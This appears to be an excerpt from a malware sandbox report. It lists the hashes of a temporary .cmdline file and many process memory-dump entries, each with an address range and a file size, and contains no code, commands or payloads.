020e05dd5bd89e587dfa492086e433ea0620fb58ead54c1325a527ba8d1bf7251faa66116b69b4a802e4f2994215de1b146fd2df6f9347470e280bf7a22a7857

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\zcsy5o0v\zcsy5o0v.cmdline

Filesize
369B

MD5
8823032bac9de5190be6e5e96e547191

SHA1
0fd1f359405092cc6ac99c92cdac32c28f2f7cc7

SHA256
cdd815b10dd2ff86ffccaf0c341150f1afcb1e8906f8a5d313c76548b2f5eeaa

SHA512
e1b161a2243ac2ecbc8f31021dc5f9d022ceb4803c473335b3dabfc95588b12d51c8138d658c04188370c06252fc5eb2bda913b6ebc7f111ca194f4c0ba91691

Download Submit
memory/1036-168-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-105-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-161-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-160-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-153-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-152-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-169-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-119-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-145-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-144-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-135-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1036-140-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-138-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1036-117-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-116-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-114-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-115-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-113-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-106-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-109-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-104-0x0000000000400000-0x000000000047F000-memory.dmp

Filesize
508KB

Download
memory/1036-139-0x0000000010000000-0x0000000010019000-memory.dmp

Filesize
100KB

Download
memory/1704-71-0x0000000007D00000-0x0000000007D22000-memory.dmp

Filesize
136KB

Download
memory/1704-5-0x0000000005A90000-0x0000000005AB2000-memory.dmp

Filesize
136KB

Download
memory/1704-4-0x0000000071340000-0x0000000071AF0000-memory.dmp

Filesize
7.7MB

Download
memory/1704-3-0x0000000071340000-0x0000000071AF0000-memory.dmp

Filesize
7.7MB

Download
memory/1704-81-0x0000000071340000-0x0000000071AF0000-memory.dmp

Filesize
7.7MB

Download
memory/1704-73-0x0000000008BA0000-0x0000000009144000-memory.dmp

Filesize
5.6MB

Download
memory/1704-2-0x0000000005B20000-0x0000000006148000-memory.dmp

Filesize
6.2MB

Download
memory/1704-0-0x000000007134E000-0x000000007134F000-memory.dmp

Filesize
4KB

Download
memory/1704-19-0x0000000006980000-0x00000000069CC000-memory.dmp

Filesize
304KB

Download
memory/1704-72-0x000000007134E000-0x000000007134F000-memory.dmp

Filesize
4KB

Download
memory/1704-1-0x0000000005360000-0x0000000005396000-memory.dmp

Filesize
216KB

Download
memory/1704-65-0x0000000006F10000-0x0000000006F18000-memory.dmp

Filesize
32KB

Download
memory/1704-74-0x0000000071340000-0x0000000071AF0000-memory.dmp

Filesize
7.7MB

Download
memory/1704-6-0x0000000006200000-0x0000000006266000-memory.dmp

Filesize
408KB

Download
memory/1704-7-0x0000000006320000-0x0000000006386000-memory.dmp

Filesize
408KB

Download
memory/1704-17-0x0000000006490000-0x00000000067E4000-memory.dmp

Filesize
3.3MB

Download
memory/1704-18-0x0000000006930000-0x000000000694E000-memory.dmp

Filesize
120KB

Download
memory/2116-126-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2116-124-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2116-120-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/2312-45-0x0000000007BF0000-0x0000000007C86000-memory.dmp

Filesize
600KB

Download
memory/2312-43-0x0000000007960000-0x000000000797A000-memory.dmp

Filesize
104KB

Download
memory/2312-29-0x00000000075E0000-0x0000000007612000-memory.dmp

Filesize
200KB

Download
memory/2312-30-0x000000006DC00000-0x000000006DC4C000-memory.dmp

Filesize
304KB

Download
memory/2312-40-0x00000000075A0000-0x00000000075BE000-memory.dmp

Filesize
120KB

Download
memory/2312-41-0x0000000007620000-0x00000000076C3000-memory.dmp

Filesize
652KB

Download
memory/2312-42-0x0000000007FB0000-0x000000000862A000-memory.dmp

Filesize
6.5MB

Download
memory/2312-44-0x00000000079C0000-0x00000000079CA000-memory.dmp

Filesize
40KB

Download
memory/2312-46-0x0000000007B60000-0x0000000007B71000-memory.dmp

Filesize
68KB

Download
memory/2312-47-0x0000000007B90000-0x0000000007B9E000-memory.dmp

Filesize
56KB

Download
memory/2312-50-0x0000000007BE0000-0x0000000007BE8000-memory.dmp

Filesize
32KB

Download
memory/2312-49-0x0000000007CB0000-0x0000000007CCA000-memory.dmp

Filesize
104KB

Download
memory/2312-48-0x0000000007BA0000-0x0000000007BB4000-memory.dmp

Filesize
80KB

Download
memory/2400-127-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2400-128-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2400-122-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2528-123-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2528-125-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2528-121-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/4216-102-0x0000000007900000-0x0000000007A58000-memory.dmp

Filesize
1.3MB

Download
memory/4216-103-0x0000000007A60000-0x0000000007AFC000-memory.dmp

Filesize
624KB

Download
memory/4840-91-0x0000000006090000-0x00000000063E4000-memory.dmp

Filesize
3.3MB

Download